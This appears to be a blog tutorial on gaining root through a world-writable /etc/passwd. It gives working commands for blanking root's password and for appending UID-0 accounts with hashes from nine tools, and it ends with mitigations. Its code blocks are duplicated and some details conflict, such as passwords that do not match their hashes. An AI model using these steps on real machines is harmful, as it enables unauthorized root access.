June 13, 2026
Linux Privilege Escalation via Writable /etc/passwd
If /etc/passwd is world-writable, any user can inject a root account; no exploits, no CVEs. Just text editing.
Isha Sangpal
6 min read
What Is /etc/passwd?
/etc/passwd is a plain text file that stores user account information. Every user on the system has one line in this file.
Three files work together:
/etc/passwd : Stores user account info (username, UID, GID, shell, home)
/etc/shadow : Stores actual encrypted password hashes
/etc/group : Stores group membership information
Anatomy of an /etc/passwd Entry
root:x:0:0:root:/root:/bin/bashroot:x:0:0:root:/root:/bin/bashEach field is separated by a colon:
Username -> root -> Login name
Password -> x -> means hash is in /etc/shadow; blank means no password
UID ->0 -> User ID; 0 = root
GID -> 0 -> Group ID; 0 = root group
GECOS -> root -> Full name or description
Home -> /root -> Home directory
Shell -> /bin/bash -> Default shell
If the password field contains an actual hash instead of x, Linux uses it directly; bypassing /etc/shadow entirely. If the UID is 0, the user is treated as root.
Lab Setup — Make /etc/passwd Writable
How to check if /etc/passwd is writable (enumeration step)
# During enumeration, always check:
ls -al /etc/passwd# During enumeration, always check:
ls -al /etc/passwd
In a real engagement, you would find this file already misconfigured. For the lab:
# As root, set world-writable permission
chmod 777 /etc/passwd
# Verify
ls -al /etc/passwd
# -rwxrwxrwx 1 root root ... /etc/passwd# As root, set world-writable permission
chmod 777 /etc/passwd
# Verify
ls -al /etc/passwd
# -rwxrwxrwx 1 root root ... /etc/passwd
Why this misconfiguration happens: Sysadmins sometimes set this during troubleshooting and forget to revert it.
1. Remove the X — No Password Required
This is the fastest method if you just want root access immediately without generating any hash.
In /etc/passwd, the root line normally looks like:
root:x:0:0:root:/root:/bin/bashroot:x:0:0:root:/root:/bin/bashThe x tells Linux to look in /etc/shadow for the actual password. If you remove it and leave the field blank:
root::0:0:root:/root:/bin/bashroot::0:0:root:/root:/bin/bashLinux no longer checks /etc/shadow. Root now has no password.
Steps:
# Open /etc/passwd in any editor
nano /etc/passwd
# Find the root line and change:
# root:x:0:0:root:/root:/bin/bash
# To:
# root::0:0:root:/root:/bin/bash
# Save and exit
su root
# No password prompt
id
# uid=0(root) gid=0(root) groups=0(root)# Open /etc/passwd in any editor
nano /etc/passwd
# Find the root line and change:
# root:x:0:0:root:/root:/bin/bash
# To:
# root::0:0:root:/root:/bin/bash
# Save and exit
su root
# No password prompt
id
# uid=0(root) gid=0(root) groups=0(root)
Note: The shell shown is /usr/bin/zsh because this Kali machine uses zsh as default. Use /bin/bash for maximum compatibility across targets.
Why it works: Blank password field = no authentication. su root succeeds without any input.
This leaves root accessible to anyone on the system; including other users and processes. The most detectable method since root has no password.
2. OpenSSL (Most Important, Always Available)
OpenSSL is present on virtually every Linux system. Most reliable method.
Method 1: Generate hash on Kali, use on target
Use this method when the compromised target machine is restricted and does not have OpenSSL installed. You generate the payload safely on your own machine, then carry it over.
# 1. On your local Kali machine, generate the hash:
openssl passwd -1 labpass
# Output: $1$aH6mHjWt$BSrLFWxbTt7x4Keu.LaR20
# $1$ prefix = MD5 hash format# 1. On your local Kali machine, generate the hash:
openssl passwd -1 labpass
# Output: $1$aH6mHjWt$BSrLFWxbTt7x4Keu.LaR20
# $1$ prefix = MD5 hash format-1 : tells OpenSSL to use the MD5-crypt algorithm ($1$ prefix). For a stronger SHA-512 hash use -6 instead: openssl passwd -6 labpass → output starts with $6$
Construct the Payload string:
The format is: username:hash:UID:GID:info:home:shell
# 2. On the compromised TARGET machine, inject the copied hash:
echo 'pwned:$1$aH6mHjWt$BSrLFWxbTt7x4Keu.LaR20:0:0:root:/root:/bin/bash' >> /etc/passwd
# 3. On the TARGET machine, verify and switch users:
tail -n 1 /etc/passwd
su pwned
id# 2. On the compromised TARGET machine, inject the copied hash:
echo 'pwned:$1$aH6mHjWt$BSrLFWxbTt7x4Keu.LaR20:0:0:root:/root:/bin/bash' >> /etc/passwd
# 3. On the TARGET machine, verify and switch users:
tail -n 1 /etc/passwd
su pwned
idMethod 2: Generate hash directly on the target machine
Use this method when the target machine already has OpenSSL installed. It is faster because it saves you from having to copy and paste hashes between different machines or terminal windows.
openssl passwd labpass
# Output: $1$aH6mHjWt$BSrLFWxbTt7x4Keu.LaR20
echo 'pwned:$1$aH6mHjWt$BSrLFWxbTt7x4Keu.LaR20:0:0:root:/root:/bin/bash' >> /etc/passwdopenssl passwd labpass
# Output: $1$aH6mHjWt$BSrLFWxbTt7x4Keu.LaR20
echo 'pwned:$1$aH6mHjWt$BSrLFWxbTt7x4Keu.LaR20:0:0:root:/root:/bin/bash' >> /etc/passwdVerify and escalate:
tail /etc/passwd # confirm the new entry
su pwned # switch to new user
When prompted, type the password: labpass
id
# uid=0(root) gid=0(root) groups=0(root)tail /etc/passwd # confirm the new entry
su pwned # switch to new user
When prompted, type the password: labpass
id
# uid=0(root) gid=0(root) groups=0(root)
Why it works: When the password field contains a real hash (not x), Linux authenticates against it directly. UID 0 grants root regardless of the username.
3. Python
# Python 3.8 to 3.12 (most enterprise targets):
python3 -c 'import crypt; print(crypt.crypt("pypass", "$6$labsalt"))'
# Python 3.13+ (Kali rolling, crypt module removed):
python3 -c 'import subprocess; print(subprocess.check_output(["openssl","passwd","-6","pypass"]).decode().strip())'# Python 3.8 to 3.12 (most enterprise targets):
python3 -c 'import crypt; print(crypt.crypt("pypass", "$6$labsalt"))'
# Python 3.13+ (Kali rolling, crypt module removed):
python3 -c 'import subprocess; print(subprocess.check_output(["openssl","passwd","-6","pypass"]).decode().strip())'Pro Tip: The crypt module works on enterprise targets like Ubuntu 20.04/22.04 and RHEL 8 which run Python 3.8-3.12. On updated Kali (Python 3.13+), use the OpenSSL fallback above. The module was officially removed in Python 3.13.
4. passlib (Python 3.13+ Fallback)
Directly solves the crypt module removal problem. Works on any Python version including 3.13.
Install Passlib:
sudo apt install python3-passlibsudo apt install python3-passlibGenerate the Hash with passlib:
python3 -c 'from passlib.hash import sha512_crypt; print(sha512_crypt.hash("pass123"))'
# Output: passlibroot:$6$rounds=...python3 -c 'from passlib.hash import sha512_crypt; print(sha512_crypt.hash("pass123"))'
# Output: passlibroot:$6$rounds=...Construct the Payload:
username:hash:UID:GID:info:home:shell
passlibroot:<YOUR_PASSLIB_HASH>:0:0:root:/root:/bin/bash
Inject the Payload, verify and escalate:
echo 'passlibroot:$6$rounds=656000$2SQ2iOBEQDMk4gZ9$gvmplci17vtX6.aEPPHP9vAeJg6/wuhEUYQe6DXT9eVMS7I3CjYJrVnEOw4Zsx9Q9.kftXx8BEIVKvInSx8/E0:0:0:root:/root:/bin/bash' >> /etc/passwd
# Verify
tail -n 1 /etc/passwd
# Escalate
su passlibroot
# When prompted, type the password: passlibpass
idecho 'passlibroot:$6$rounds=656000$2SQ2iOBEQDMk4gZ9$gvmplci17vtX6.aEPPHP9vAeJg6/wuhEUYQe6DXT9eVMS7I3CjYJrVnEOw4Zsx9Q9.kftXx8BEIVKvInSx8/E0:0:0:root:/root:/bin/bash' >> /etc/passwd
# Verify
tail -n 1 /etc/passwd
# Escalate
su passlibroot
# When prompted, type the password: passlibpass
id
5. Mkpasswd (Debian and Ubuntu Standard)
mkpasswd lets you choose the hashing algorithm explicitly.
mkpasswd -m sha-512 mkpass
# Output: $6$...hash...
# Other supported methods:
# mkpasswd -m md5 mkpass123
# mkpasswd -m des mkpass123mkpasswd -m sha-512 mkpass
# Output: $6$...hash...
# Other supported methods:
# mkpasswd -m md5 mkpass123
# mkpasswd -m des mkpass123Construct the Payload:
username:hash:UID:GID:info:home:shell
Your structured payload will look like this: mkroot:<YOUR_MKPASSWD_HASH>:0:0:root:/root:/bin/bash
Inject the payload, verify and escalate:
echo 'mkroot:$6$HASHVALUE:0:0:root:/root:/bin/bash' >> /etc/passwd
# Verify
tail -n 1 /etc/passwd
# Escalate
su mkroot
# When prompted, type the password: mkpass
idecho 'mkroot:$6$HASHVALUE:0:0:root:/root:/bin/bash' >> /etc/passwd
# Verify
tail -n 1 /etc/passwd
# Escalate
su mkroot
# When prompted, type the password: mkpass
id
6. Perl
Generate the Hash with Perl:
perl -le 'print crypt("perlpass", "ab")'
# Output: abvS1TsnGjgZMperl -le 'print crypt("perlpass", "ab")'
# Output: abvS1TsnGjgZMConstruct the Payload:
username:hash:UID:GID:info:home:shell
Your structured payload will look like this: perlroot:<YOUR_PERL_HASH>:0:0:root:/root:/bin/bash
Inject the Payload, verify and escalate:
echo 'perlroot:abvS1TsnGjgZM:0:0:root:/root:/bin/bash' >> /etc/passwd
# Verify
tail -n 1 /etc/passwd
# Escalate
su perlroot
# When prompted, type the password: perlpass
idecho 'perlroot:abvS1TsnGjgZM:0:0:root:/root:/bin/bash' >> /etc/passwd
# Verify
tail -n 1 /etc/passwd
# Escalate
su perlroot
# When prompted, type the password: perlpass
id
7. PHP
Generate the Hash with PHP:
php -r 'echo crypt("phppass", "ab") . "\n";'
# Output: abYrQ7pesWH5.php -r 'echo crypt("phppass", "ab") . "\n";'
# Output: abYrQ7pesWH5.Construct the Payload:
username:hash:UID:GID:info:home:shell
Your structured payload will look like this: phproot:<YOUR_PHP_HASH>:0:0:root:/root:/bin/bash
Inject the Payload, verify and escalate:
echo 'phproot:abYrQ7pesWH5.:0:0:root:/root:/bin/bash' >> /etc/passwd
# Verify
tail -n 1 /etc/passwd
# Escalate
su phproot
# When prompted, type the password: phppass
idecho 'phproot:abYrQ7pesWH5.:0:0:root:/root:/bin/bash' >> /etc/passwd
# Verify
tail -n 1 /etc/passwd
# Escalate
su phproot
# When prompted, type the password: phppass
id
8. Ruby
Generate the Hash with Ruby:
ruby -r 'digest' -e 'puts "rubypass".crypt("$6$labsalt")'
# Output: $6$labsalt$Rr...ruby -r 'digest' -e 'puts "rubypass".crypt("$6$labsalt")'
# Output: $6$labsalt$Rr...Construct the Payload:
username:hash:UID:GID:info:home:shell
Your structured payload will look like this: rubyroot:<YOUR_RUBY_HASH>:0:0:root:/root:/bin/bash
Inject the Payload, verify and escalate:
echo 'rubyroot:$6$labsalt$Rr/J2288Z3OEDI8qjEqx3xO8/tkb4GSMH4PziqteZIDtu1lEEzlvvsRoakpZwKpxUFkZ54c2HH4tWHjC4H/8F/:0:0:root:/root:/bin/bash' >> /etc/passwd
# Verify
tail -n 1 /etc/passwd
# Escalate
su rubyroot
# When prompted, type the password: rubypass
idecho 'rubyroot:$6$labsalt$Rr/J2288Z3OEDI8qjEqx3xO8/tkb4GSMH4PziqteZIDtu1lEEzlvvsRoakpZwKpxUFkZ54c2HH4tWHjC4H/8F/:0:0:root:/root:/bin/bash' >> /etc/passwd
# Verify
tail -n 1 /etc/passwd
# Escalate
su rubyroot
# When prompted, type the password: rubypass
id
9. Node.js
Node.js is present on almost every modern web server (MEAN stack, Express, Next.js apps). If you compromise a web app and find sudo or writable /etc/passwd, Node is usually available.
Execute and Inject with Node.js:
node -e "const {execSync} = require('child_process'); const hash = execSync('openssl passwd -6 nodepass').toString().trim(); console.log('noderoot:' + hash + ':0:0:root:/root:/bin/bash');" >> /etc/passwd
# Output: $6$labsalt$Rr...node -e "const {execSync} = require('child_process'); const hash = execSync('openssl passwd -6 nodepass').toString().trim(); console.log('noderoot:' + hash + ':0:0:root:/root:/bin/bash');" >> /etc/passwd
# Output: $6$labsalt$Rr...Verify and Escalate:
tail -n 1 /etc/passwd
su noderoot
# When prompted, type the password: nodepass
idtail -n 1 /etc/passwd
su noderoot
# When prompted, type the password: nodepass
id
Quick Reference table
Mitigation
- Correct permissions:
/etc/passwdmust be644(root write, world read)
chmod 644 /etc/passwdchmod 644 /etc/passwd- Monitor with auditd: Alert on any write to
/etc/passwd
auditctl -w /etc/passwd -p wa -k passwd_changesauditctl -w /etc/passwd -p wa -k passwd_changes- Use PAM and shadow passwords: Ensure all users have
xin the password field and hashes live in/etc/shadow(640permissions) - Integrity monitoring: Tools like
aideortripwiredetect unexpected changes to/etc/passwd - Restrict shell access: Standard users should not have write permission to any system files
Conclusion
A writable /etc/passwd is one of the most straightforward privilege escalation paths in Linux. Seven different tools can generate a valid hash. The simplest method requires no hash at all. Every step covered here appears in OSCP, CTFs, and real engagements.
Special thanks to Nishchay Gaba for the guidance and support throughout.
Keep learning. Stay ethical.